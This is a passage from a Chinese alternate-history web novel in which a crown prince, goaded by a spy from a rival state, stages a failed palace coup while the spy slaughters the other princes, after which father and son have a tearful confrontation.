凌晨非常中二的闭上眼睛,伸直手臂将拳头高高举起,周围所有的望云军将士仿佛得到了什么指令一般,齐声高喊道: “脖子右拧!!” 韩登不顾形象的从地上爬了起来,心情难以言喻的望着眼前这群疯子,他们也是真敢啊!第一个跳伞的家伙是谁?胆子怎么这么大?! 震惊过后,他不禁又生出了同情之心。 可怜的孟玄,这会估计还在西川信心满满或者忐忑不安的思虑对策、加紧防御、鼓舞人心呢…… 根本不知道接下来他将要面对的是什么!! 第184章 老大的悲哀 明明是准备伐蜀,大郑帝国朝堂上的目光却一直紧盯着金陵,而且越接近“麻辣兔头”行动的日期,长江上的偷渡客就越多。 最后因为事态紧急,大郑细作甚至都无心和他们玩捉迷藏了,直接明着贿赂唐国巡江官兵。 巡江官兵将士的口袋越来越鼓,大唐朝廷的形势也越来越严峻。 直到吴王想梭哈一把大的,趁着黑夜乔装打扮秘密出城,假传圣旨调动京郊大营以“保驾”为名,率兵冲击金陵南城门。这件事终于迎来了高潮。 李雄快六十的人了,不得不大半夜起来上夜班,在军队的保护下亲自站上城头,当众承诺赦免城下那些被诓骗的将士无罪,并且将吴王这个逆子从马上给扒拉了下来,这场闹剧才得以平息下来。 让这群被裹挟的将士甘心放下武器、祈求陛下原谅的原因,不只是李雄执政三十年以来的深厚威望,还有紧急从采石矶奔袭而来的温茂,以及他带来的五千徽州军。 这个真打不过,硬拼纯纯白给。 第二天,头发凌乱、失魂落魄的吴王被两个乌衣提着胳膊丢在了满朝文武中间,跪在地上一言不发。 德明殿中,静的落针可闻。 李雄一言不发的坐在龙椅上,整个人一动不动,威仪凌然。但面前晃动的冕旒白珠出卖了他,很明显,皇帝陛下的心情并不平静。 大臣们反应不一,支持吴王和买了他家股票、在他身上押了注的臣公们个个面色灰败,有的甚至是惨白!公然带兵造反,还没成功,吴王基本是完了,而他们也跑不掉。 支持其他皇子的大臣们当然是幸灾乐祸、一副看好戏的样子。虽然没有当场笑出来,但他们都开心的看向与自己相熟的同僚,眼神之中表达出来的窃喜和得意,懂得都懂。 李岐立在群臣最前方,心里快要乐开花了。 吴王是他三弟,是对他储君地位威胁最大的人选,而且他的背后站着临安士族,临安是什么含金量相信大家也都清楚。所以吴王一直以来都让李岐坐卧难安,可没想到这次好弟弟竟然自己坐不住了,整了波大的。 但这个时候绝对不能笑,笑出来就炸穿了。 于是他强忍着心中的狂喜,努力挤出一副悲痛欲绝的表情,主动上前开口为弟弟求情: “父皇,三弟向来成熟稳重,性晓疏钧,此次贸然犯上,必然是受了奸人的挑拨和唆使,儿臣恳求父皇从轻发落,给他一个反省和改过自新的机会。” 太子表完态后,其他人并没有说话,只有那些支持吴王的人开始了救赎和自救。 “陛下,吴王一向孝顺聪慧,岂会作出大逆不道之事,其中必有蹊跷!还需仔细调查才是。” “正是!想来是有人假传消息,骗说陛下有危险,吴王殿下迫不得已、急中生乱之下才出此下策,他怎么可能做出谋逆作乱、欺君罔父的事儿呢?!” “陛下,臣没有资格去评说对错,但您跟吴王是亲生父子啊!纵使他有错,也只怪是年少无知,您不能因一时之怒,引的官民百姓妄议天家啊!” 李雄依旧一言不发,看着底下的好儿子、好臣子们轮番表演。 当最后一个臣子说完,大家都静静等着他开口时。李雄冷哼一声,那双浑浊的眸子里迸发出锐利的精光,从底下的人身上、脸上一一扫过。 虚伪、滑稽、可笑!! “朕是老了,不是老糊涂了!!” 李雄扶着龙椅缓缓起身,一身的帝王龙威彻底释放,配合上这句冷冽的话语,压的满朝文武官员心头俱是一惊!纷纷伏地跪拜下来。 “陛下息怒~” “息怒?朕的儿子都带兵来弑父篡位了,朕的臣子们面对事实还能巧舌如簧为他开脱,朕还得给你们息怒?” 草…… “臣等有罪~~” 整个德明殿里,除了一身甲胄、佩剑上朝的温茂还胡子花白的立着外,其他所有人、包括太子和宫人们全都跪倒在地上,瑟瑟发抖。 此刻,李雄很想说一些过不了审的话,但这里是朝堂,是德明殿。 “吴王贬为庶人,永久禁足于宗正寺,遇赦不赦。” 啊??!! 听到这话的吴王,再也保持不住原本跪拜的姿势,身子一软两眼一黑,直接晕翻了过去。 那些支持他的大臣和士族朋党们更是心生绝望,这不g了么!!现在各个皇子都有固定的支持者,他们就是想转投其他人麾下,那也全是死对头啊! 哎等等…… 哎,还是算了吧…… 但谁也没想到,李雄今天不知道是太生气了还是怎么的,又开口了。 只不过这次,他骂的是太子。 “此皆汝之过也!身为长兄,不能教导引领好弟妹,你看看你那副文弱的模样!若是你争气些,他们也不会生出不该有的心思!!” 我尼玛…… 李岐懵了,难以置信的抬起头看向父亲,迎上了李雄怒火中烧的目光。 一股莫名的怒气从心中生起,但到底还是被三十年来的习惯压制住了。他又低下头来,以额贴地,默不作声,仿佛默认了父亲的斥责,对自己的过错无言以对。 但额头和脖子上渐渐明显的青筋,还是出卖了他。 不是,我请问呢? 不是你给他们开府,允许他们招募幕僚,收揽庄客的吗?? 不是你默许他们与朝臣结交,让他们各自有了自己的基本盘,让江南各地士族和他们蝇营狗苟的吗?? 不是你给了他们调兵权,让他们在军中历练,结交了那些狐朋狗友才有了犯上作乱的能力的吗?? 我这个大哥做的不好、不合格,没有给弟弟们做出表率,那你这个父亲呢?? 子不教父之过,你没念过书吗?还是都还回去了? 教不严师之惰,我他妈又不是他们的夫子,不然早就戒尺往大嘴巴上抽了!哪会有今天的局面? 现在你来说是我的问题?? 我是生来做了老大,不是生来背锅的!! 跪在地上的李岐肩膀微微颤抖,两只手握了又松,松了又忍不住想握,一股难言的委屈和不服气充斥在他的脑海,怨念如同潮水般蔓延交织在他的心头,呼吸渐渐粗重。 他是真的不想做这个破太子了,真想现在立刻马上就站起来跟父亲当堂对质,好好掰扯掰扯究竟是他妈谁的问题!! “你看看那文家的老大,你哪一点比得上人家?这大唐江山交给你,以后朕死了,你拿什么和他斗?!怕是不出三五年就要拱手让与他人了!” ?? 喂,你没完了是吧? 你再怎么气昏头,也不能在满朝臣子面前说这种话吧??我的面子往哪搁?? 李岐的额头紧紧贴在地砖上,两只眼睛看着近在咫尺的地砖纹路,眸子不断左右摇晃,既想不通,也理解不了李雄今天的迁怒行为。 自己真是他的儿子吗?? 我不如文若? 文训从一开始就把他当接班人培养,给他兵权,教他本事,把全部的资源都堆在他身上。甚至宁可顶着周朝皇帝的不满,也要保住他,让二儿子代替他去邺城做人质,你能做到吗? 文训给哪个庶出的儿子哪怕一丁点权利了吗?你听说过他哪个旁出的儿子有官职或者开了府?大部分连名字都没有听说过好吧!! 你拿我跟他比较?那你干嘛不先拿自己和文训比较呢? 人家孩子学习好,你就拿来数落我。 那人家父母暑假带孩子全国各地旅游,买来电脑游戏机任孩子玩,父母一起陪在孩子身边做作业、一家人吃完晚饭后散步聊天,你怎么不说呢?怎么不学呢? 嗷,这会说我不如人家了? 我知道人跟人不能比,也理解咱们家确实不如人文家盘据中原、富庶繁华,你忙于事业没空关心我,我都懂,我也在努力做好自己啊!我也没有抱怨过什么啊! 哪怕你让弟弟们有了和我竞争的资本和实力,我也只是委屈和不解,从来没有真正记恨过你!我们是父子啊! 现在你是什么意思?? 满朝大臣都在这里跪着,你堂而皇之的说这种话? 你让他们背后怎么议论我?怎么看待我? 这个皇位你坐着,坐到死!千万别传给我!!! 李雄可能是真被气糊涂了,吴王的公然造反一定会传遍天下、彪炳史书的,无论以后会怎么样,这件事都将是大唐抹不去的污点。 他这个皇帝做的怎么样不知道,但父亲做的肯定不怎么滴。 气极了的他当即就走下台阶,准备再好好骂骂不成器的大儿子出出气,却被温茂主动上前给拦住了。 温茂皱着花白的眉毛,很隐晦的朝着李雄摇了摇头。 李雄看了他一眼,闭上眼睛强压下心中的怒气,长叹了一声,疲惫的挥手道:“退朝……” “退朝~~” 李岐拨开上前搀扶自己的心腹大臣,又觉得不妥,伸出手拍了拍他的胳膊,低着头一言不发的又出了德明殿。 抬起头望向远处的满城屋瓦,再望向更远处群山峰峦,李岐深深的叹了口气。 今年金陵的冬天不算太冷,但他却心寒如冰。 第185章 证明给你看 “砰!!!” 东宫,正殿。 名贵的瓷器被摔的碎了一地,精致的家具被砸的七零八歪。金丝楠木材质的案桌被掀翻在地板上,四脚朝天;姑苏女工费尽心力织绣的彩屏被划出大洞,撕扯碎烂。 李岐毫无仪范的坐在地阶上,两腿岔开,双臂搭在膝盖上,大口大口的喘着粗气,借着窗外的光,可以看到他额头和鬓边的细汗。 “你哪一点比得上文若?” “此皆汝之过也!” 李雄的话久久盘踞在他的脑海,萦绕在他的耳边,无论他怎么用力都挥之不去,即使砸碎毁坏了面前的一切,依旧难以让澎湃的心绪得以恢复。 为什么? 究竟要做到什么地步才能让你满意? 爹,我们已经父子相厌到这种地步了吗? “沙沙~” 听到面前传来脚步声,李岐冷着脸,眯起眼睛抬头看向来人。 一身白衣,不坠半吊,面容俊朗,温润如玉,正缓缓绕过地上的碎渣和残椅,默不作声的朝着自己走来。 来人是他去年新收的幕僚,同时也是郑国礼部派到大唐的细作头子,年仅二十七的曹嘉。 这些大郑细作是真他妈的不要命!一见面就把他们的老底全都抖给了自己。上线是谁,下线是谁,只要你问,他们全都如实汇报给你听,坦荡的让人生不出一点脾气。 但这个曹嘉也是真有本事,在他的建议和支持下,确实帮李岐度过了许多难关和麻烦。尤其是有一次,四弟楚王的刺客差点一箭射死自己,正是此人以身挡箭,才让自己幸免于难。 事后,曹嘉被箭头上的剧毒折腾的死去活来,在床上躺了半年才侥幸捡回一条命,对于这个人,李岐真的感情复杂。 “你来做什么?我现在心情很不好,不要跟我说你的那些陈词滥调,否则,连你也杀!” 曹嘉毫不在意的整理好身前的垂衫,一言不发的坐在了李岐身边的地阶上,望着一片狼藉的,默不作声。 他确实告诉了李岐自己的一切信息,但还有一样保留: 他来自临颍县、望云镇。 望云镇的良家子弟大部分都加入了望云护庄队,但总有一些因为身体和性格原因不太适合进行高强度训练的人。这些人,都被凌晨亲自教导和传授过营销话术、政治思想和心理学知识。 曹嘉就是其中的佼佼者,并且他永远都记得侯爷的那句话——想让别人相信,首先你自己得相信,发自内心的相信。 所以,他是真的用尽全力,甚至用郑国资源为李岐服务的。也是真的要把他推上江南国主的宝座。 真正的谎言,没有一个字是假话。 李岐见他不说话,也没有心情开口,只是双眼无神的望着眼前,内心缓缓舔舐自己的伤痛。 两个大男人就这么呆呆坐着,任由时光流逝。 满腹的牢骚委屈、满心的不解不甘,像喷涌的井水一般在李岐的胸中激荡冲刷,身边还坐着个人,还是愿意用性命救自己的人,李岐忍了又忍,实在忍不住了。 就算对方是郑国人,就算是别有用心,他也认了,不吐不快啊! “我爹,今天在朝堂上骂我了。” “你又没有做错什么,陛下为什么要斥责你?” “因为李游带兵攻城,弑君谋逆。” “陛下……是因为吴王之举迁怒于你吗?” “你怎么知道的?你们在朝堂上也有人?” 曹嘉浅笑着摇了摇头:“没有,就算有,我也不可能这么快就知道。只是,这是我唯一能想到的可能。” 李岐叹着气说道:“我今天也豁出去了,你说,难道不是他自己给了李游兵权和底气吗?自己翻了船,跟我有什么关系?明明造反的是李游,凭什么骂我? 你是没有看到那些大臣们下朝后看我的眼神,充满了嘲弄和讽刺!你说,我这个太子当的憋不憋屈?他还说我不如你们的文若,他又哪一点比得上文训了? 文训给别的儿子官职了吗?给他们开府或者兵权了吗?还说我不如人,我要是文训的儿子,文武百官只从一人,我也能开开心心认认真真的做自己的太子,兄友弟恭父慈子孝!” 呃…… 曹嘉闻言不禁有些哭笑不得,无奈的说道:“父慈子孝是真,兄友弟恭倒也未必,赵王殿下就被陛下罚禁思过……” “那是文初自己搞不清楚状况,换了我也一样能轻松镇住他。” 曹嘉默默的点了点头,这话还真不是吹牛逼,十九年的太子生涯不是白磨的,李岐真有这个实力。 紧接着,又是一阵沉默。 李岐双目无神的望着眼前的地面,再次打破安静的空气,喃喃道:“难道做父亲的就可以随意骂儿子,做皇帝的就可以为所欲为吗……” 曹嘉眼神清明的思索了一下后,扭头看向一旁深受打击的李岐:“是的,做了皇帝,就是可以为所欲为。” 李岐睫毛一抬,陷入了思索之中。 曹嘉扶着膝盖站了起来,从进殿后,第一次主动开口: “如果你忍受不了,就去效仿你们的先祖太宗皇帝,尊陛下为太上皇,临朝听政。别看其他几位皇子闹的欢,可他们都对你造不成实际威胁。 真正能够决定你命运和未来的,是陛下。只要陛下一道旨意,就能剥夺你的储君之位。我觉得他今天的话应该只是无心之言,还没有到那一步,你也不必过于介怀。 如果真到了那一步,你要听陛下的话,保全皇家名声,我和我背后的一切都将尊重你的选择。如果你想建立属于你自己的另一个贞观盛世,我们也会全力相助! 你知道,我说的都是真的。” 李岐紧皱着眉头闭上了眼睛,回想起今天在朝堂上的画面,父亲眼中那副活像要吃了他的眼神,充满了毫无缘由的嫌弃和厌恶!明明自己已经很努力了,而且做的也很好啊! 十九年来,自己兢兢业业,如履薄冰,有时候忙的连饭都是随便对付一口。还要时刻注意自己的言行举止,要压抑自己的情感,开心了不能大声笑,悲伤了也不能放声哭。 活的还不如商贾官吏家的公子哥快活,他们吃喝嫖赌、放肆呸笑、甚至连打架斗殴都是那么的畅快淋漓。自己不行,当朝太子跟人打架,不管输赢都是个笑话。 这么艰难的熬过来,自己也没有抱怨,欲戴王冠必承其重,行,我承。 可现在看来,这重是承了,这冠能不能戴到头顶,还两说呢…… 既然山不向我走来,那我便向它走去!! 李岐的胸中燃起了熊熊火焰,他受够了这种提心吊胆、委曲求全的日子,受够了无端的指责和自我压抑情绪。 父亲,你说我文弱? 好,那我证明给你看!! 间歇性的踌躇满志后,联想到了什么,李岐又有点颓丧。 “温茂如今就在金陵,徽州军也在,你说的事……怕是很难。” 曹嘉听到李岐有这个想法后,也不怎么激动,而是面色平静的说道: “这有何难?你忘了我是江北来的了?只要我一纸书信,王郡公便会带着青州军饮马长江,调离温老将军不在话下。 问题是……你真的想好了吗?这可是一条不归路,要么一败涂地,要么踏血成王,没有别的可能。” 李岐抬起头朝着大殿四周看了看,再次确认没有人后,低声向曹嘉问道:“你……真的会全力助我吗?” “会,等你做了大唐皇帝,我便将郑国在江南的所有脉络连根拔起,全心全力的辅佐你!我们一起和大郑较量一番,若是失败,也不失为一代枭雄!若是能重现宋武帝的风采,那可就……” 李岐听后点了点头,他明白,曹嘉说的绝对是真的。 而事实上也的确如此。 现在,李岐是真想给李雄来波大的证明一下自己了,说我文弱?我那是天性良善和为了顾全大局的忍让,你不能拿我的素质当废物看待啊! “可……可万一我们失败了呢?” 看到还有些顾虑的李岐,曹嘉笑着对他说道: “你知道吗?人是一种很奇妙的造物。当你的精神意志力足够的时候,你往往可以发挥出自己都想不到的潜力。而当你思想上先怀疑、先恐惧的时候,你可能连你平时十之一二的水平都发挥不出来。 所以一个人究竟可以做到什么地步,完全取决于他的内心足不足够强大,意志足不足够坚定。田垄道旁的野花唾手可得,可天山上的雪莲却需要折骨才能够摘取! 如果你想要一样东西,就必须抛却杂念全力以赴,哪怕粉身碎骨也在所不惜!不到最后一刻,谁也不知道自己的结局会是怎样。你要做的就是在春天辛勤播种,收获那是秋天的事儿。 如果你没有做好这种准备,我给你的建议是:不要开始。” 李岐仔仔细细、认认真真的听完了曹嘉的话,低下头在殿内来回踱步,思索了一阵子后,他脚步一顿,将双手背负在身后,冷漠的说道—— “给王臣鹤写信吧~” 说真的,其他皇子折腾的再怎么凶,也翻不出几朵浪花来,顶多就是气气老父亲。 可如果是大唐太子,那就不是小事情了。 第186章 尚有余温 “旧时王谢堂前燕,飞入寻常百姓家。” 这是一句广为人知的诗词,将时间的残酷和历史的无情表达的淋漓尽致。更是对贵族门阀湮没于历史长河、人生充满莫测未知的感慨唏嘘。 但其实它的首联、也就是前两句所提及的事物,同样赫赫有名。 “朱雀桥边野草花,乌衣巷口夕阳斜。” 金陵城和乌衣巷是分不开的,因为它们都是在同一时期、由同一个人所创立的—— 孙权。 公元229年,也就是汉末三国时代的东吴黄龙元年,孙权在秣陵称帝,将其改名为建业。这是南京在历史上第一次成为都城,六朝古都自此始。 而当时负责保卫建业的京城军队,就驻守在乌衣巷,那个时候还叫乌衣营。 150年后,乌衣巷已经成为了东晋权臣和顶级门阀的居住地。这里住的全是豪门望族,门庭若市,冠盖云集,子弟皆以着乌衣为荣,用来彰显自身地位的尊贵。 该小区住户中,政治成就最高的是王导和谢安。 王导辅佐司马睿建立了东晋王朝,时人皆言“王与马,共天下”,一叶知秋,足见其权势滔天。 谢安稍逊一筹,也就坐镇谋划、派侄子谢玄打了一场淝水之战,用“风声鹤唳,草木皆兵”,把前秦雄主苻坚钉在耻辱柱上,让人唠了上千年。 至于住在这个东晋版汤臣一品小区的文化领域工作者,那就多了去了。 流觞曲水、入木三分,写出《兰亭序帖》的王羲之;中国山水派诗词的鼻祖谢灵运;李白的偶像、让他“一生低首谢宣城”的谢朓;“未若柳絮因风起”的才女谢道韫,王献之、王凝之等等等等,没有一个是庸碌无名之辈。 他们不仅活着的时候有权有势、钟鸣鼎食、富贵无忧,死后照样也名垂千古、流芳百世。(写着写着眼睛怎么突然红了) 到了今日的李唐,乌衣巷依然是唐国权贵聚集地和金陵城防军大营所在。 三万乌衣军,尽数驻扎在此。 乌衣巷也注定将会再次名垂青史,无论是以什么样的方式。 夜深如墨,营寨内灯火通明。 太子李岐亲自带着一队人来到了乌衣巷,坐堂升帐,擂鼓聚将,将乌衣军的各个主要将领全部召集过来。 “本宫刚刚收到紧急消息,楚王李炯欲效仿罪臣李游,率家奴庄客攻击皇宫!本宫特来调兵勤王保驾,速速点齐兵将,各自把守四面城门,随本宫进宫护驾!” 李岐话说完后,用锐利的眼神向着一脸懵逼的五名将领,和善的发出疑问:谁赞成?谁反对? 曹嘉就站在李岐身边,大帐内全是东宫死士,个个单手握刀,另一只手手指微微曲动,随时都准备着抽刀动手。 其中一名将领狐疑的望着李岐,小心翼翼的开口问道:“殿下,您应该知道,没有尚书省的文书和陛下亲随携谕同至,无论是谁,一兵一卒也不得调动……” 李岐抬眼看向这名将领,皱眉道:“确实如此,可刚才本宫也说了,李炯反叛,皇宫很有可能已经被他控制,事态紧急,本宫也是不得已而为之。” 顿了顿后,他站起身来,径直来到这名将领面前,冷着脸问道:“你是在质疑大唐储君,还是……李炯早就跟你有所约盟??” 卧槽! 将领听完这话后人都麻了,这么一口大黑锅,他特么哪背得起啊! “末将不敢!殿下贵为储君,自然不会有假,末将愿誓死追随殿下,进宫护驾!” “嗯~” 李岐满意的点了点头后,又将目光移向其他四人。 四人你看看我,我看看你,不约而同的抱拳跪地:“我等愿听殿下调遣!” 见此情形,李岐心中这才暗暗松了口气,大手一挥,从曹嘉手中接过他捧来的长剑,面若寒霜的走出了大帐。 不多时,整个乌衣巷人喊马嘶,无数人马手持刀剑盾牌、长枪斧钺冲出了营寨。 早在一个月前,曹嘉就派人向王臣鹤写信说明了这里的情况。王臣鹤收到信后,一边遣人八百里加急送往汴京,一边直接派军驿紧急向徐州驻军发令。 将在外、君命有所不受。等汴京知道情况后再开会讨论、研究出对策,再发到庐州,再收拾准备,一套流程下来黄花菜都凉了。 所以,当朝廷收到曹嘉手书的时候,王臣鹤已经在江淮徐扬各地知府、太守和乡军的配合下,集结了十万大军,一点也没有遮掩,就这么大张旗鼓、浩浩荡荡的兵临巢湖。 他的这一反常举动让唐国君臣有些摸不着头脑,因为事先没有任何征兆和情报,仿佛临时起意一般。况且郑、唐两国已经在明面上签订了互不侵犯的友好条约,你突然带军队来边境线上晃悠是什么意思? 王臣鹤向他们表示:没事,大郑秉行的对外政策是“衅不我开”,我们是仁义之师,这次只是寻常的边境巡逻而已,抓抓润人,擦擦界碑,不必紧张。 唐国君臣表示:我信你奶奶个腿!你家边境巡逻一次出动十万人啊?就擦个界碑?你糊弄鬼呢? 不管王臣鹤说的是真是假,哪怕他真的只是来擦界碑的,唐国也得小心翼翼的派军队监视陪巡才行。整整十万大军你不去管他们,天知道过几天界碑会不会被移到金陵城下? 因此,唐国再次派出老将温茂领军,携徽州军、唐军北境主力以及长江沿线的地方乡军,共计七万人马齐聚巢湖东侧的牛头山下,连营百里。坐等王臣鹤开始自己的表演,并且随时准备为他转身。 没有一个人会将大唐太子和大郑琅琊郡公联系在一起,更不敢想象他们竟然会合作起来,联手上演一出好戏。 李岐亲自带着大队人马来到金陵城中的皇宫门前,叫着让上面的人开门。守卫皇宫的乌衣统领立在城头,一边暗暗叫手下去通知李雄和军队,一边用废话拖延时间:“陛下已经安寝,请太子殿下明日再来。” “明日?哼,想不到连你也被反贼李炯收买了!” 一口咬死后,李岐根本不给这名乌衣统领反驳和辩论的机会,直接下令军队攻门! 都干到这个份上了,对错已经不重要了,只能跟着太子一条道走到黑了,要么从龙之功,要么下去和太奶团聚。 乌衣军的将领亲自抽出腰间宝剑,在空中摇动着挥了挥,随即剑指皇宫! 下一刻,无数乌衣军卒嗷嗷叫着冲向宫门! 与此同时,曹嘉带着另一队乌衣军把乌衣巷权贵聚集地团团包围,挨家挨户的查水表,将李雄仅剩的儿子们,包括楚王、越王在内的许多政敌和反对派全部当场格杀! 做完这些后,他又带着人马来到宗正寺,把刚刚踩上缝纫机的李游也一刀捅了。 现在即使李岐那边失败,李雄也只能捏着鼻子认了。他所有成年的、未成年的儿子已经全部被杀,他死之后,皇位除了传给李岐之外,还能传给谁呢? 除非他再生一个,可他今年都快六十了,这个可能性微乎其微。就算他雄风不减宝刀不老,真的又生下了一个,还是男婴,怕是也等不到孩子长大。 到时候主少国疑,外有强敌,啧啧啧~~ 无论今夜成功与否,作为大郑细作的曹嘉,已经出色的完成了自己的使命。 李岐的原令是让曹嘉控制住自己的弟弟们,如果自己成功,那就软禁他们;如果自己失败,那就用他们的性命来威胁李雄。 可他绝对想不到的是,从刚认识开始就一直性格温润如玉、处事冷静泰然、事事为自己考虑的曹嘉,这次却破天荒的自作主张违背了他的命令,一改往常、彻底疯狂,拿人头拿到手软。 有时候,存在感太低也不见得是件坏事。包括曹嘉这种心思缜密的人在内,几乎所有人都忘记了,还有一个在法理和血统上都具备储君资格的人不在金陵。 此刻,他正跟无话不谈的好基友待在天姥山的溪涧中,醉卧在乌篷船里,笑指漫天繁星。 当天上星河转,我命已定盘。 皇宫里的乌衣还是太少了,根本干不过外面这群没有退路的同袍们。里面的人如果失败,无非就是跪地投降,可他们造反要是失败,就不是投降能收场的了。 一个丢的是饭碗,一个丢的是性命,动力和压力根本不在一个量级。所以皇宫宫门只坚持了一小会,就被李岐率人给攻破了。 破门之后,李岐提着剑,任由手下们冲在自己前面杀开血路,径直奔向李雄的寝宫。 反正这帮守卫皇宫的乌衣也不敢真的砍了当朝太子,他丝毫不担心自己的人身安全,自带名刀。 乌衣军的将领一脚踹开寝宫的大门后,心中的紧张稍稍有些缓解,甚至还有点暗爽。搁以前哪有这机会啊,早被拖下去剁成馄饨馅了。 今晚,见证历史! 李岐提着剑冲进寝宫,用一种极为得意和畅快的语气高声叫喊着:“父皇!四弟密谋犯上,儿臣来保护您了!父皇!父皇?父……” 寝宫记得龙榻上,只有一床半揭起的绣被,除此之外空无一人。 冷汗从李岐的额头上渐渐凝结成珠,如果不能将李雄掌握在自己手中,天亮以后,京郊大营的兵马就来了!而且城内的乌衣军如果见到李雄,不用怀疑,包倒戈的! 站在李岐身旁的将领也汗流浃背了,刚刚的暗爽一挥而散,他快步冲上前去,吞了吞口水,朝着殿内四处望了望,猛的想起了什么,伸手摸进绣被中…… “被中赏有余温,陛下定然没有走远,太子殿下!快遣人寻找啊!莫被奸贼劫走,悔之晚矣!!!” 这是真急了。 李岐这才反应过来,连忙转身对着身后一群剑尖滴血的随从怒吼道:“快去找!哪怕掘地三尺,也要把父皇找出来!!” “是!!” “噔噔噔噔~~” 不到最后一刻,绝不能大意,更不能轻言放弃!! 李岐亲自提剑出门,满脸焦急的左顾右盼,嗓子有点发干,心急如焚!甚至连他自己也没有注意到,自己好像生出了那么一丝悔意…… 一定要找到我的好父皇啊!! 那么,李雄这会在干嘛呢? 他穿着普通乌衣的衣服,用黑巾蒙着面防止被人认出来,在心腹侍卫的保护下,从西侧门这个平时拉粪便、运尿桶的腌臜之地窝窝囊囊、慌慌张张的逃出了皇宫。 三儿子贻“孝”大方才过去没几天,大儿子又来“孝”逐颜开,而且还是超级加倍+满局炸弹的那种。今夜过后,无论结局如何,史书上一定会留下唐主李雄浓墨重彩的一笔。 并且很有可能是子女教育领域的反面教材。 (文训默默向您点了个赞) 造反,没有控制住皇帝,等于失败。 逃出皇宫的李雄立刻派人携手谕发往城门守军和乌衣军将领,言明太子谋逆犯上,亲口承诺从者早降无罪,轻轻松松就将没有围攻皇宫的城内军队全部控制在了手中。 这里还有个小知识点:信用的重要性。 上次吴王李游谋反,李雄亲口承诺那些追随他的人,只要放下武器就能无罪。事后也确实没有明面追究或者暗中清算。 换了一般人,根本受不了、也无法安心让一群背叛过自己的人继续掌握兵权或者活在世上。 李雄能,他能忍住心中的膈应,按住想要剁了他们的冲动,也有胆量和自信去赌他们不敢再犯。 再犯,可就不是死一两个人的事了。 正是因为他表现出来的良好信用度,才让这些被迫追随李岐的将领们能够毫不犹豫的放下武器、调转枪头重新追随董事长,去讨伐想要篡位的副董。 如果李雄上次转头就把吴王的追随者都杀了或者暗中清理掉,你看今晚这帮人会不会绑了他带去见李岐。 看灯笼血红染,寻仇已太晚。 月下门童喟叹,昨夜太平长安。 一夜过后,曾经繁华富庶的金陵城血迹斑斑、烟熏火燎、哭声一片。尤其是乌衣巷,家家户户遍地缟素,如果没有,那说明情况可能更糟。 李雄瘫坐在寝宫的龙榻上,虽然成功解决了叛乱,可他却比失败了还要憔悴不堪。 面前的下方,李岐浑身是血的被牢牢绑住,发丝凌乱的跪在地上,脖子里青筋暴起,满脸怒容,一言不发。 他的身后,躺着吴王李游、楚王李炯、越王李培、以及其他四个还没有开府封王的皇子,凉的透透的。 “为什么……他们……他们都是你的亲弟弟啊!!!!” 一直揉着眉心沉默不语的李雄突然暴怒,抓住榻边的巧物摆件一把砸向了李岐!李岐连眼睛都没有眨,硬用脸接,被摆件的角直接磕破了左边眼睛和鼻子交接处的面颊,破皮后的鲜血以肉眼可见的速度从细肉里渗了出来。 李岐心里明白曹嘉的意思,弟弟们都死了,纵使自己失败,李雄也没得选了。 “非我本意。” “非你之意?!若非有你首肯,底下的人吃了熊心豹子胆敢一夜之间杀光整个大唐后裔?!!逆子!逆子!!” 不说话还好,李岐一开口,老父亲的心脏瞬间就受不了了,再也压制不住胸中的滔天怒火,起身随手抓起一方墨砚,走过来后径直砸在了大儿子的脑袋上!! 去他妈的江山社稷!一辈子生的崽都死绝了,还要那破玩意干什么?! 一起毁灭吧!! 可让李雄感到难以置信的是,一向唯唯诺诺、面对自己总会畏惧害怕的大儿子,这次却破天荒的迎头怒视着自己,任由鲜血从眉间滴落,气势丝毫不减,冲着自己怒吼道: “我是逆子?那你是什么?!!你给他们封王开府!默许他们结交大臣武将!是,昨晚的事全都是我做的!可他们的死,真的就跟你没有一点关系吗?! 我也想做个好哥哥,我的心也是肉长的,我难道就想杀死从小一起看着长大的弟弟们吗?!是你!都是你!是你一直助长着他们野心和欲望!是你给了他们和我争储的底气! 父亲!你知道这个太子做的我有多累吗?你知道我有多么的惶恐不安和担惊受怕吗?你不知道!!你只是把我当成你的附属品、你的一件画作!不满意了就涂涂改改,甚至随时都想着重新再画一副!!” 李雄被儿子吼的瞠目结舌,看着眼前完全陌生的李岐,他的滔天怒意也变成了一阵无力,还带着丝丝悔意。 早知道他有如此气性和胆魄,甚至远超自己,自己也就不拿其他儿子鞭策、激励他了,也就不会闹到今天这个地步了…… 他落寞的转过身,佝偻着身子缓缓坐在了冰冷的宫殿地砖上,愣愣的望着一旁铜鹤嘴中的松油灯火,一言不发。 李岐将这些年的心酸和委屈都一股脑的倒出来后,两只眼睛一红,委屈的流下了泪水。 “我不想做太子了,父亲。你把我关进宗正寺也好,叫乌衣砍了我也罢,我都无所谓了。你瞧不上我,我也哪哪都不能让你满意,你随意吧,我不恨你。 我只是想母亲了,她活着的时候,每次你骂完我转身离去后,她都会抱住我、哄我,对我说你只是脾气不好,并不是真的不喜欢我,自从她走后,就再也没有人安慰我了…… 这大唐江山,你爱给谁就给谁吧,我也不要了。” 说罢,被牢牢绑住的李岐挣扎着费力的从地上站了起来,没有去看李雄,只是步伐沉重、身影落寞的走向了殿门。 李雄心中悲痛万分,抬起头朝着李岐,用一种难以言喻的复杂哭腔喊道:“茂之……茂之!!” 李岐的脚步没有丝毫停顿,依旧沉重、缓慢、坚决的走出了殿外。 他的心已经死了。 殿内的李雄顿时泪流满面,毫无威仪的张开嘴巴,仰天大哭,悲伤的像个孩子: “啊——为什么……为什么!!” 第187章 柳成荫 江上白衣**,残花浅酒片时清, 御龙顺水而行,旧梦朱璃碧宇, 火连营。 水流平静的长江中,一叶扁舟缓缓驶向北岸,初春的寒意尚未退却,江面上笼罩着一层薄薄的轻雾。偶有白鹭飞过,更远处的高空中,雁阵成行。 一身裘衣的曹嘉独自立在舟头,手里捧着暖炉,望着远方怔怔出神。 过去两年的生活,就像是一场梦一样,如今梦醒了,让他感到一阵恍惚,还有些茫然。 侯爷说,要将自己真正代入进去,却没说,该如何从里面走出来。 李岐完了,李唐也废了,皇室直系后继无人,子孙辈都被自己趁乱屠了个干干净净,宗室、权贵、大臣也杀的七零八落,青黄不接直接断代。 这次回去,自己应该会受到陛下的召见,伯爵肯定是跑不了了,就是侯爵……也未必没有可能。 可曹嘉就是开心不起来,隐隐觉得有点对不起李岐,辜负了他的信任。 尽管一开始就是假的。 而且,虽然他**乌衣巷的时候没有一丝手软和犹豫,甚至连襁褓中的婴儿都没有放过,但其实,他内心真的不喜欢**。 矛盾,极致的矛盾。 “唉~” 